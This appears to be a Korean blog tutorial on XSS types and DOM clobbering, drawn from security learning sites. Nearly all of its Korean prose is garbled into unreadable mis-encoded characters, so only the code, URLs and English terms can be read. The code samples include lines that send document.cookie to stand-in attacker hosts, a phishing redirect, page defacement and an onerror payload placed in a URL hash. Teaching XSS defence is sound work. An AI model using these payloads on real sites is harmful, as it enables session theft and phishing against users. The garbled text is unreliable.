https://learn.dreamhack.io/173์ https://www.fis.kr/ko/major_biz/cyber_safety_oper/attack_info/security_news?articleSeq=3408 ๋ฑ ๋ค์ํ ์ ๋ณด๋ฅผ ๋ณด๊ณ ์ ๋ฆฌํ ๋ด์ฉ์ ๋๋ค.
ํ๋ฆฐ ๋ด์ฉ์ด ์๋ค๋ฉด ๋๊ธ๋ก ์๋ ค์ฃผ์๋ฉด ๊ฐ์ฌํ๊ฒ ์ต๋๋ค.
XSS
ํด๋ผ์ด์ธํธ ์ฌ์ด๋ ์ทจ์ฝ์ ์ ์น ํ์ด์ง์ ์ด์ฉ์๋ฅผ ๋์์ผ๋ก ๊ณต๊ฒฉํ ์ ์๋ ์ทจ์ฝ์ ์ด๋ค.
ํด๋น ์ข
๋ฅ์ ์ทจ์ฝ์ ์ ํตํด ์ด์ฉ์๋ฅผ ์๋ณํ๊ธฐ ์ํ ์ธ์
๋ฐ ์ฟ ํค ์ ๋ณด๋ฅผ ํ์ทจํ๊ณ ํด๋น ๊ณ์ ์ผ๋ก ์์์ ๊ธฐ๋ฅ์ ์ํํ ์ ์์ต๋๋ค.
XSS๋ ํด๋ผ์ด์ธํธ ์ฌ์ด๋ ์ทจ์ฝ์ ์ค ํ๋๋ก, ๊ณต๊ฒฉ์๊ฐ ์ฌ์ฉ์์ ์น ๋ธ๋ผ์ฐ์ ์ ์ ์ฑ ์คํฌ๋ฆฝํธ ์ฝ๋๋ฅผ ์ฃผ์ ํ๊ณ , ์ฌ์ฉ์๊ฐ ์ ์ฑ ์คํฌ๋ฆฝํธ ์ฝ๋๋ฅผ ์คํํจ์ผ๋ก์จ, ์ฌ์ฉ์์ ์ ๋ณด๋ฅผ ์ ์์ ์ผ๋ก ํ์ทจํ๋๋ก ๊ณต๊ฒฉํ ์ ์๋ค.
- ์ข
๋ฅ
- ์ ์ฅ๋ ํฌ๋ก์ค ์ฌ์ดํธ ์คํฌ๋ฆฝํ (Stored Cross-Site Scripting)
- ๋ฐ์ฌ๋ ํฌ๋ก์ค ์ฌ์ดํธ ์คํฌ๋ฆฝํ (Reflected Cross-Site Scripting)
- DOM ๊ธฐ๋ฐ์ ํฌ๋ก์ค ์ฌ์ดํธ ์คํฌ๋ฆฝํ (DOM Based Cross-Site Scripting)
Stored XSS | XSS์ ์ฌ์ฉ๋๋ ์ ์ฑ ์คํฌ๋ฆฝํธ๊ฐ ์๋ฒ์ ์ ์ฅ๋๊ณ ์๋ฒ์ ์๋ต์ ๋ด๊ฒจ์ค๋ XSS |
Reflected XSS | XSS์ ์ฌ์ฉ๋๋ ์ ์ฑ ์คํฌ๋ฆฝํธ๊ฐ URL์ ์ฝ์ ๋๊ณ ์๋ฒ์ ์๋ต์ ๋ด๊ฒจ์ค๋ XSS |
DOM-based XSS | XSS์ ์ฌ์ฉ๋๋ ์ ์ฑ ์คํฌ๋ฆฝํธ๊ฐ URL Fragment์ ์ฝ์ ๋๋ XSS (Fragment๋ ์๋ฒ ์์ฒญ/์๋ต ์ ํฌํจ๋์ง ์๋๋ค.) |
์๋ฐ์คํฌ๋ฆฝํธ๋ ์น ๋ฌธ์์ ๋์์ ์ ์ํ๋ค. ์ด๋ ์ด์ฉ์๊ฐ ๋ฒํผ ํด๋ฆญ ์์ ์ด๋ค ์ด๋ฒคํธ๋ฅผ ๋ฐ์์ํฌ์ง์ ๋ฐ์ดํฐ ์ ๋ ฅ ์ ํด๋น ๋ฐ์ดํฐ๋ฅผ ์ ์กํ๋ ์ด๋ฒคํธ๋ฅผ ๊ตฌํํ ์ ์๋ค.
์ด๋ฌํ ๊ธฐ๋ฅ ์ธ์๋ ์ด์ฉ์์์ ์ํธ ์์ฉ ์์ด ์ด์ฉ์์ ๊ถํ์ผ๋ก ์ ๋ณด๋ฅผ ์กฐํํ๊ฑฐ๋ ๋ณ๊ฒฝํ๋ ๋ฑ์ ํ์๊ฐ ๊ฐ๋ฅํ๋ค.
์ด๋ฌํ ํ์๊ฐ ๊ฐ๋ฅํ ์ด์ ๋ ์ด์ฉ์๋ฅผ ์๋ณํ๊ธฐ ์ํ ์ธ์
๋ฐ ์ฟ ํค๊ฐ ์น ๋ธ๋ผ์ฐ์ ์ ์ ์ฅ๋์ด ์๊ธฐ ๋๋ฌธ์ด๋ค. ๋ฐ๋ผ์ ๊ณต๊ฒฉ์๋ ์๋ฐ์คํฌ๋ฆฝํธ๋ฅผ ํตํด ์ด์ฉ์์๊ฒ ๋ณด์ฌ์ง๋ ์น ํ์ด์ง๋ฅผ ์กฐ์ํ๊ฑฐ๋, ์น ๋ธ๋ผ์ฐ์ ์ ์์น๋ฅผ ์์์ ์ฃผ์๋ก ๋ณ๊ฒฝํ ์ ์๋ค.
์๋ฐ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ๊ธฐ ์ํ ํ๊ทธ๋ก๋ <script>๊ฐ ์๋ค.
์ฟ ํค ๋ฐ ์ธ์ ํ์ทจ ๊ณต๊ฒฉ ์ฝ๋
<script>
// "hello" ๋ฌธ์์ด alert ์คํ.
alert("hello");
// ํ์ฌ ํ์ด์ง์ ์ฟ ํค(return type: string)
document.cookie;
// ํ์ฌ ํ์ด์ง์ ์ฟ ํค๋ฅผ ์ธ์๋ก ๊ฐ์ง alert ์คํ.
alert(document.cookie);
// ์ฟ ํค ์์ฑ(key: name, value: test)
document.cookie = "name=test;";
// new Image() ๋ ์ด๋ฏธ์ง๋ฅผ ์์ฑํ๋ ํจ์์ด๋ฉฐ, src๋ ์ด๋ฏธ์ง์ ์ฃผ์๋ฅผ ์ง์ . ๊ณต๊ฒฉ์ ์ฃผ์๋ http://hacker.dreamhack.io
// "http://hacker.mnzy.io/?cookie=ํ์ฌํ์ด์ง์์ฟ ํค" ์ฃผ์๋ฅผ ์์ฒญํ๊ธฐ ๋๋ฌธ์ ๊ณต๊ฒฉ์ ์ฃผ์๋ก ํ์ฌ ํ์ด์ง์ ์ฟ ํค ์์ฒญํจ
new Image().src = "http://hacker.mnzy.io/?cookie=" + document.cookie;
</script>
ํ์ด์ง ๋ณ์กฐ ๊ณต๊ฒฉ ์ฝ๋
<script>
// ์ด์ฉ์์ ํ์ด์ง ์ ๋ณด์ ์ ๊ทผ.
document;
// ์ด์ฉ์์ ํ์ด์ง์ ๋ฐ์ดํฐ๋ฅผ ์ฝ์
.
document.write("Hacked by mnzy !");
</script>
์์น ์ด๋ ๊ณต๊ฒฉ ์ฝ๋
<script>
// ์ด์ฉ์์ ์์น๋ฅผ ๋ณ๊ฒฝ.
// ํผ์ฑ ๊ณต๊ฒฉ ๋ฑ์ผ๋ก ์ฌ์ฉ๋จ.
location.href = "http://hacker.mnzy.io/phishing";
// ์ ์ฐฝ ์ด๊ธฐ
window.open("http://hacker.mnzy.io/")
</script>
1. Stored XSS
Stored XSS๋ ์๋ฒ์ ๋ฐ์ดํฐ๋ฒ ์ด์ค ๋๋ ํ์ผ ๋ฑ์ ํํ๋ก ์ ์ฅ๋ ์ ์ฑ ์คํฌ๋ฆฝํธ๋ฅผ ์กฐํํ ๋ ๋ฐ์ํ๋ XSS์ด๋ค.
๋ํ์ ์ผ๋ก ๊ฒ์๋ฌผ๊ณผ ๋๊ธ์ ์ ์ฑ ์คํฌ๋ฆฝํธ๋ฅผ ํฌํจํด ์ ๋ก๋ํ๋ ๋ฐฉ์์ด ์๋ค.
๊ฒ์๋ฌผ์ ๋ถํน์ ๋ค์์๊ฒ ๋ณด์ฌ์ง๊ธฐ ๋๋ฌธ์ ํด๋น ๊ธฐ๋ฅ์์ XSS ์ทจ์ฝ์ ์ด ์กด์ฌํ ๊ฒฝ์ฐ ๋์ ํ๊ธ๋ ฅ์ ๊ฐ์ง๋ค.
์์๋ก, ๋ค์๊ณผ ๊ฐ์ ์๋๋ฆฌ์ค๊ฐ ์กด์ฌํ ์ ์๋ค.
- Bob์ ์กฐ์๋ URL (์๋ฐ ์คํฌ๋ฆฝํธ ์ฝ๋๋ฅผ ํฌํจํ๋)์ ์น ์ ํ๋ฆฌ์ผ์ด์ ์๋ฒ์ ์ฌ๋ฆฐ๋ค.
- Alice๋ ์น ์ ํ๋ฆฌ์ผ์ด์ ์๋ฒ์ ๋ก๊ทธ์ธ์ ํ๋ค.
- Alice๋ Bob์ด ์ฌ๋ฆฐ ์กฐ์๋ URL์ ์ก์ธ์ค ํ๋ค. (์กฐ์๋ URL ์ ์ ๋ฐ ์์ฒญ)
- ์๋ฒ๋ Bob์ ์๋ฐ ์คํฌ๋ฆฝํธ ์ฝ๋๋ฅผ ํฌํจํ๋ ์๋ต์ Alice์๊ฒ ๋ณด๋ธ๋ค.
- ์๋ฐ ์คํฌ๋ฆฝํธ ์ฝ๋๊ฐ Alice์ ๋ธ๋ผ์ฐ์ ์์์ ์คํ๋๋ค.
- Alice์ ์๋ฒ ์ฌ์ด์์ ์ฌ์ฉ๋ ์ธ์ ํ ํฐ ์ ๋ณด๊ฐ Alice์ ๋ธ๋ผ์ฐ์ ๋ฅผ ํตํด์ Bob์๊ฒ ์ ๋ฌ๋๋ค.
- Bob์ Alice์ ์ธ์ ์ ํ์ทจํ๋ค.
2. Reflected XSS
Reflected XSS๋ ์๋ฒ๊ฐ ์ ์ฑ ์คํฌ๋ฆฝํธ๊ฐ ๋ด๊ธด ์์ฒญ์ ์ถ๋ ฅํ ๋ ๋ฐ์ํ๋ค.
๋ํ์ ์ผ๋ก ๊ฒ์ํ ์๋น์ค์์ ์์ฑ๋ ๊ฒ์๋ฌผ์ ์กฐํํ๊ธฐ ์ํ ๊ฒ์์ฐฝ์์ ์คํฌ๋ฆฝํธ๋ฅผ ํฌํจํด ๊ฒ์ํ๋ ๋ฐฉ์์ด ์๋ค.
์ด์ฉ์๊ฐ ๊ฒ์๋ฌผ์ ๊ฒ์ํ๋ฉด ์๋ฒ์์๋ ๊ฒ์ ๊ฒฐ๊ณผ๋ฅผ ์ด์ฉ์์๊ฒ ๋ฐํํ๋ค.
์ผ๋ถ ์๋น์ค์์๋ ๊ฒ์ ๊ฒฐ๊ณผ๋ฅผ ์๋ต์ ํฌํจํ๋๋ฐ, ๊ฒ์ ๋ฌธ์์ด์ ์ ์ฑ ์คํฌ๋ฆฝํธ๊ฐ ํฌํจ๋์ด ์๋ค๋ฉด Reflected XSS๊ฐ ๋ฐ์ํ ์ ์๋ค.
Reflected XSS๋ Stored XSS์๋ ๋ค๋ฅด๊ฒ URL๊ณผ ๊ฐ์ ์ด์ฉ์์ ์์ฒญ์ ์ํด ๋ฐ์ํ๋ค.
๋ฐ๋ผ์ ๊ณต๊ฒฉ์ ์ํด์๋ ๋ค๋ฅธ ์ด์ฉ์๋ฅผ ์ ์ฑ ์คํฌ๋ฆฝํธ๊ฐ ํฌํจ๋ ๋งํฌ์ ์ ์ํ๋๋ก ์ ๋ํด์ผ ํ๋ค. ์ด์ฉ์์๊ฒ ๋งํฌ๋ฅผ ์ง์ ์ ๋ฌํ๋ ๋ฐฉ๋ฒ์ ์ ์ฑ ์คํฌ๋ฆฝํธ ํฌํจ ์ฌ๋ถ๋ฅผ ์ด์ฉ์๊ฐ ๋์น์ฑ ์ ์๊ธฐ ๋๋ฌธ์ ์ฃผ๋ก Click Jacking ๋๋ Open Redirect ๋ฑ ๋ค๋ฅธ ์ทจ์ฝ์ ๊ณผ ์ฐ๊ณํ์ฌ ์ฌ์ฉํ๋ค.
์์๋ก, ๋ค์๊ณผ ๊ฐ์ ์๋๋ฆฌ์ค๊ฐ ์กด์ฌํ ์ ์๋ค.
- Alice๋ ์น ์ ํ๋ฆฌ์ผ์ด์
์๋ฒ์ ๋ก๊ทธ์ธํ๋ค. ๋ค์์ ์ธ์
ํ ํฐ์ ํฌํจํ๋ ์ฟ ํค๋ฅผ ์๋ฒ๋ก๋ถํฐ ๋ถ์ฌ ๋ฐ๋๋ค.
- Set-Cookie: sessID:=0jgpobmwil93jfn2930r8e
- Bob์ ๋ค์๊ณผ ๊ฐ์ ์กฐ์๋ URL (์๋ฐ ์คํฌ๋ฆฝํธ ์ฝ๋๋ฅผ ํฌํจํ๋)์ Alice์ ๋ณด๋ธ๋ค.
- Alice๋ Bob์ ์กฐ์๋ URL์ ์๋ฒ์ ์์ฒญํ๋ค.
- ์๋ฒ๋ Alice์ ์์ฒญ์ ์๋ตํ๋ค. ์๋ฒ์ ์๋ต์๋ Bob์ ์๋ฐ ์คํฌ๋ฆฝํธ๊ฐ ํฌํจ๋๋ค.
- Bob์ ์๋ฐ ์คํฌ๋ฆฝํธ ์ฝ๋๊ฐ Alice์ ์น ๋ธ๋ผ์ฐ์ ์์ ์คํ๋๋ค.
- var i=new Image; i.src=“[<http://test-attacker.com/”+document.cookie>](<http://test-attacker.com/%E2%80%9D+document.cookie>);
- Alice์ ๋ธ๋ผ์ฐ์ ๋ Bob์ด ์ด์ํ๋ test-attacker.com์ ์์ฒญ์ ๋ณด๋ธ๋ค. ์ด ์์ฒญ์๋ Alice์ ์๋ฒ์ฌ์ด์์ ์ฌ์ฉ๋๋ ์ธ์
ํ ํฐ์ด ํฌํจ๋๋ค.
- Host: [test-attacker.com](<http://test-attacker.com/>)
- GET /sessId= 0jgpobmwil93jfn2930r8e HTTP/1.1
- Bob์ Alice์ ์ธ์ ์ ํ์ทจํ๋ค.
3. Dom based XSS
Dom
Document Object Model (DOM)์ ๋ธ๋ผ์ฐ์ ๊ฐ HTML ๋ฌธ์๋ฅผ ๊ด๋ฆฌํ๊ธฐ ์ํด ์ฌ์ฉํ๋ ๊ฐ์ฒด ๋ชจ๋ธ์ด๋ค.
์น ๊ฐ๋ฐ์๋ DOM์ ์ด๋ฒคํธ ํธ๋ค๋ฌ๋ฅผ ์ถ๊ฐํ๊ฑฐ๋ DOM์ ๋ณ๊ฒฝํ๋ ๋ฐฉ์์ผ๋ก ์น ํ์ด์ง๋ฅผ ์์ ํ ์ ์๋ค.
DOM์ ์๋ฐ์คํฌ๋ฆฝํธ์์ ์ ๊ทผํ ์ ์๋๋ก ๊ฐ์ข API๋ฅผ ์ ๊ณตํด ๊ฐ๋ฐ์์๊ฒ ๊ต์ฅํ ํธ๋ฆฌํ์ง๋ง, ์ด๋ฅผ ์๋ชป ์ฌ์ฉํ ๊ฒฝ์ฐ ๊ฐ๋ฐ์๊ฐ ์๋ํ ๋์๊ณผ ๋ค๋ฅด๊ฒ ๋์์ํฌ ์ ์๋ ์ทจ์ฝ์ ์ด ๋ฐ์ํ ์ ์๋ค.
์๋ฐ์คํฌ๋ฆฝํธ์์ DOM์ ์กด์ฌํ๋ Element์ ๋ด์ฉ์ ์์ ํ๊ณ , ์๋ก์ด Element๋ฅผ ์์ฑํ๋ ์ฝ๋
document.getElementById ํจ์๋ฅผ ์ด์ฉํด ๋ฏธ๋ฆฌ ์ ์๋์ด ์๋ name ์ด๋ผ๋ id์ Element๋ฅผ ๊ฐ์ ธ์ innerText๋ฅผ ๋ณ๊ฒฝํด ์ค์ ์น ๋ฌธ์์ ๋ด์ฉ์ ๋ณ๊ฒฝํ ์ ์๋ค.
๋ํ, document.createElement ํจ์๋ก ์๋ก์ด Element๋ฅผ ์์ฑํ๋ ๊ฒ๋ ๊ฐ๋ฅํ๋ฉฐ,
document.createTextNode ํจ์๋ฅผ ์ด์ฉํด ํ ์คํธ ๋ ธ๋๋ฅผ ์์ฑํ๊ณ , Element์ ์ถ๊ฐํ์ฌ ์น ๋ฌธ์์ ์๋ก์ด ๋ด์ฉ์ ์ถ๊ฐํ ์ ์๋ค.
var elem = document.getElementById("name");
elem.innerText = "My name is mnzy";
var div_elem = document.createElement("div");
var text_node = document.createTextNode("Welcome to mnzy's tistory");
div_elem.appendChild(text_node);
Dom Clobbering
https://www.hahwul.com/cullinan/dom-clobbering/
DOM Clobbering์ Javascript์์์ DOM ์ฒ๋ฆฌ ๋ฐฉ์์ ์ด์ฉํ ๊ณต๊ฒฉ ๊ธฐ๋ฒ์ด๋ค. Clobbering์ ์๋ฏธ ๊ทธ๋๋ก ์ํํธ์จ์ด ๊ณตํ์์ ์๋์ ,๋น์๋์ ์ผ๋ก ํน์ ๋ฉ๋ชจ๋ฆฌ๋ ๋ ์ง์คํฐ๋ฅผ ์์ ํ ๋ฎ์ด์ฐ๋ ํ์์ ์๋ฏธํ๋ค.
๋ค์ ๋งํ๋ฉด DOM์ ๋ฎ์ด์ด๋ค๋ ์๋ฏธ๊ฐ ๋๋๋ฐ, ์ฆ DOM Clobbering์ id, name ๋ฑ HTML์์ ์ด์ฉ๋๋ ์๋ณ์ ์์ฑ์ ์ด์ฉํด ์๋ฐ์คํฌ๋ฆฝํธ์์ ์ ๊ทผ ๊ฐ๋ฅํ DOM ๊ฐ์ฒด๋ค์ ์์ฑ ๋ฐ ๋ฉ์๋ ๋ฑ์ ๋ณ์กฐํ๋ ๊ธฐ๋ฒ์ด๋ค.
๊ธฐ์กด ๋ธ๋ผ์ฐ์ ๋ ์คํฌ๋ฆฝํธ ์์ฑ์์ ํธ์๋ฅผ ์ํด DOM ๋
ธ๋ (element ๋ฑ)์์ ์์ ๋
ธ๋์ ์ง์ ์ ๊ทผํ ์ ์๋๋ก ํด์๋ค. ์น ํ๋ก๊ทธ๋๋ฐ์ ๊ณต๋ถํ๋ค ๋ณด๋ฉด document.getElementById() ๋ฅผ ์ฌ์ฉํ์ง ์๊ณ ๋ ๋
ธ๋ id๋ฅผ ๋ณ์์ฒ๋ผ ์ฌ์ฉํ ์ ์์์ ์๊ฒ๋๋๋ฐ, Window ์ ์ญ ๊ฐ์ฒด๋ ์๋ฐ์คํฌ๋ฆฝํธ Proxy์ ์ ์ฌํ ํํ๋ก ๊ตฌํ๋์ด ์์ด ์ ์๋์ง ์์ ์์ฑ์ DOM์์ ์ฐพ๊ฒ ๋๋ค.
์๋ฅผ ๋ค์ด DOM ๋ด์ <a id="link1" href="https://host">host</a> element๊ฐ ์ ์๋์ด ์์ ๋, ์๋ฐ์คํฌ๋ฆฝํธ์์ ๋ณ๋ ๋ณ์ ์ ์ ์์ด link1์ ์ ๊ทผํ๋ฉด ํด๋น ์์๋ฅผ DOM์์ ์ฐพ๋๋ค.
์ด๋ ์น ๊ฐ๋ฐ์ ์ ์ฅ์์๋ ํธ๋ฆฌํ ๊ธฐ๋ฅ์ผ ์ ์์ผ๋, ๋ง์ฝ HTML ๋งํฌ์ ์ด ์ฌ์ฉ์๋ ์ ์ผ์๋ก๋ถํฐ ์ ๊ณต๋๋ค๋ฉด ๋ฌธ์ ๊ฐ ๋ฐ์ํ ์ ์๋ค.
๊ธ๋ก๋ฒ ๋ณ์ ์ด๋ฆ๊ณต๊ฐ์ด๋ ์์ ๊ฐ์ฒด ์์ฑ์ ๋ฏธ๋ฆฌ ์ ์๋ ์์ฑ / ํจ์ (e.g. element.innerHTML, window.open ๋ฑ)์ ์ถฉ๋ํ ์ ์์ผ๋ฉฐ, ํ๋ก๊ทธ๋๋จธ๊ฐ ์์ํ๋ ๊ฒ๊ณผ ๋ค๋ฅธ ๊ฐ์ด ๋ฐํ๋๊ฒ ๋๋ค.
์๋ฅผ ๋ค์ด, ์๋์ ๊ฐ์ด location.href์ window.mylocation์ ๊ฐ์ ๋ฃ๋ ์ฝ๋๊ฐ ์์ ๋ ์ผ๋ฐ์ ์ผ๋ก mylocation ๊ฐ์ ์ง์ ์ ์ดํ์ง ๋ชปํ๋ค๋ฉด location.href๋ฅผ ์ปจํธ๋กคํ ์ ์๋ค.
document.location.href = window.mylocation
๋ค๋ง HTML ์ฝ๋๋ฅผ ์ฝ์ ํ ์ ์๋ ํ๊ฒฝ์ด๋ผ๋ฉด (์คํฌ๋ฆฝํธ ๊ณํต์ ์ฐจ๋จ์ด๋ผ๊ณ ํ๋๋ผ๋) ์๋์ ๊ฐ์ด window.mylocation ๊ฐ์ HTML ํ๊ทธ์ ์์ฑ์ ์ด์ฉํ์ฌ ๋ง๋ค ์ ์๋ค.
<input id="mylocation" value="javascript:alert(45)"></a>
Dom based XSS
XSS ์ทจ์ฝ์ ์ ์ผ๋ฐ์ ์ผ๋ก ์๋ฒ์์ ์ด์ฉ์์ ๋ฐ์ดํฐ๋ฅผ ์ ๋๋ก ๊ฒ์ฆํ์ง ์๊ฑฐ๋, ํํฐ๋งํ์ง ์์ ์ฑ HTML ๋ฌธ์์ ํฌํจ์์ผ ๋ฐ์ํ๋ค.
๋ฐ๋ฉด์ DOM-based XSS๋ ํด๋ผ์ด์ธํธ, ์ฆ ์๋ฐ์คํฌ๋ฆฝํธ ๋จ์์ ์ด์ฉ์์ ๋ฐ์ดํฐ๋ฅผ ๊ฐ์ ธ์ ์ฌ์ฉํ๋ค๊ฐ XSS ์ทจ์ฝ์ ์ด ๋ฐ์ํ๋ค. ์ฆ, ์๋ฒ ๋จ์์ ์ฌ๋ฐ๋ฅด๊ฒ XSS๋ฅผ ํํฐ๋งํ์ฌ๋ DOM-based XSS๊ฐ ๋ฐ์ํ ์ ์๋ค.
DOM-based XSS๋ ๋ํ์ ์ผ๋ก ์๋ฐ์คํฌ๋ฆฝํธ์์ URL์ ํ๋ผ๋ฏธํฐ๋ ํด์๋ฅผ ๊ฐ์ ธ์ innerHTML, outerHTML, insertAdjacentHTML๊ณผ ๊ฐ์ด HTML์ ๋งํฌ์ ์ ์ฝ์ ํ ์ ์๋๋ก ํด์ฃผ๋ ๊ธฐ๋ฅ์์ ๋ฐ์ํ๋ค.
var name_el = document.getElementById("name"); //id ์์ฑ์ด name์ธ HTML ์์๋ฅผ ์ฐพ๊ธฐ
name_el.innerHTML = `My name is ${decodeURIComponent(location.hash.slice(1))}.`;
//URL ํด์๊ฐ ๋์ฝ๋ฉ -> ๋ฌธ์์ด์ ์ฝ์
→ ์๋ฐ์คํฌ๋ฆฝํธ์์ URL์ ํด์ ๊ฐ์ ๊ฐ์ ธ์ URL Decoding ํ, ๋ฌธ์์ HTML ํํ๋ก ์ฝ์ ํ๋ค๋ฉด URL ํด์์ XSS ๊ณต๊ฒฉ ์ฝ๋๋ฅผ ๋ฃ์ด ์์ ์๋ฐ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ ์ ์๋ค.
์ฆ, ๋ค์๊ณผ ๊ฐ์ด ๊ณต๊ฒฉ ์ฝ๋๋ฅผ ์์ฑํ ์ ์๋ค:
https://host/domxss.html#<img src=@ onerror=alert(1)>
์ด ๋ innerHTML๋ก ์คํฌ๋ฆฝํธ๋ฅผ ์ฝ์ ํ ๋์๋ <script> ํ๊ทธ๋ฅผ ์ด์ฉํ ์๋ฐ์คํฌ๋ฆฝํธ ์คํ์ ๋ถ๊ฐ๋ฅํ๊ธฐ ๋๋ฌธ์ ๋ฐ๋์ event ํธ๋ค๋ฌ๋ฅผ ์ด์ฉํด ์๋ฐ์คํฌ๋ฆฝํธ๋ฅผ ์คํํด์ผ ํ๋ค.
//innerHTML ๋ก ๋ฐ๋ก ์คํฌ๋ฆฝํธ ํ๊ทธ๋ฅผ ํตํ ์๋ฐ์คํฌ๋ฆฝํธ ์คํ X → onclick ๋ฑ์ ์ฌ์ฉํด์ผ ํจ
์์๋ก, ๋ค์๊ณผ ๊ฐ์ ์๋๋ฆฌ์ค๊ฐ ์กด์ฌํ ์ ์๋ค.
- Alice๋ ์น ์ ํ๋ฆฌ์ผ์ด์ ์๋ฒ์ ๋ก๊ทธ์ธ์ ํ๋ค.
- Bob์ ์กฐ์๋ URL (์๋ฐ ์คํฌ๋ฆฝํธ ์ฝ๋๋ฅผ ํฌํจํ๋)์ Alice์ ๋ณด๋ธ๋ค.
- Alice๋ Bob์ ์กฐ์๋ URL์ ์๋ฒ์ ์์ฒญํ๋ค.
- ์๋ฒ๋ Alice์ ์์ฒญ์ ์๋ตํ๋ค. ์๋ฒ์ ์๋ต์๋ Bob์ ์๋ฐ ์คํฌ๋ฆฝํธ๊ฐ ํฌํจ๋์ง ์๋๋ค.
- Alice์ ๋ธ๋ผ์ฐ์ ๊ฐ ์๋ฒ๊ฐ ๋ณด๋ด์จ ์๋ต์ ์ฒ๋ฆฌ ํ ๋, Bob์ ์๋ฐ ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋๋ค.
- Alice์ ์๋ฒ ์ฌ์ด์์ ์ฌ์ฉ๋ ์ธ์ ํ ํฐ ์ ๋ณด๊ฐ Alice์ ๋ธ๋ผ์ฐ์ ๋ฅผ ํตํด์ Bob์๊ฒ ์ ๋ฌ๋๋ค.
- Bob์ Alice์ ์ธ์ ์ ํ์ทจํ๋ค.
DOM-based XSS๋ฅผ ๋ฐฉ์ดํ๊ธฐ ์ํด์๋ ์ด์ฉ์์ ์ ๋ ฅ ๊ฐ์ ์๋ฐ์คํฌ๋ฆฝํธ์์ ๋์ ์ผ๋ก HTML์ ์ถ๊ฐํ๋ ํ์๋ฅผ ์ต๋ํ ์ง์ํด์ผ ํ๋ค. ๋ํ, ๋ง์ฝ ๋ฌธ์ ๋ด์ ๊ตณ์ด HTML๋ก ์ฝ์ ํ ํ์๊ฐ ์๋ค๋ฉด innerHTML ๋์ ์ innerText๋ฅผ ์ฌ์ฉํด ์ถ๊ฐํด์ผ ํ๋ค.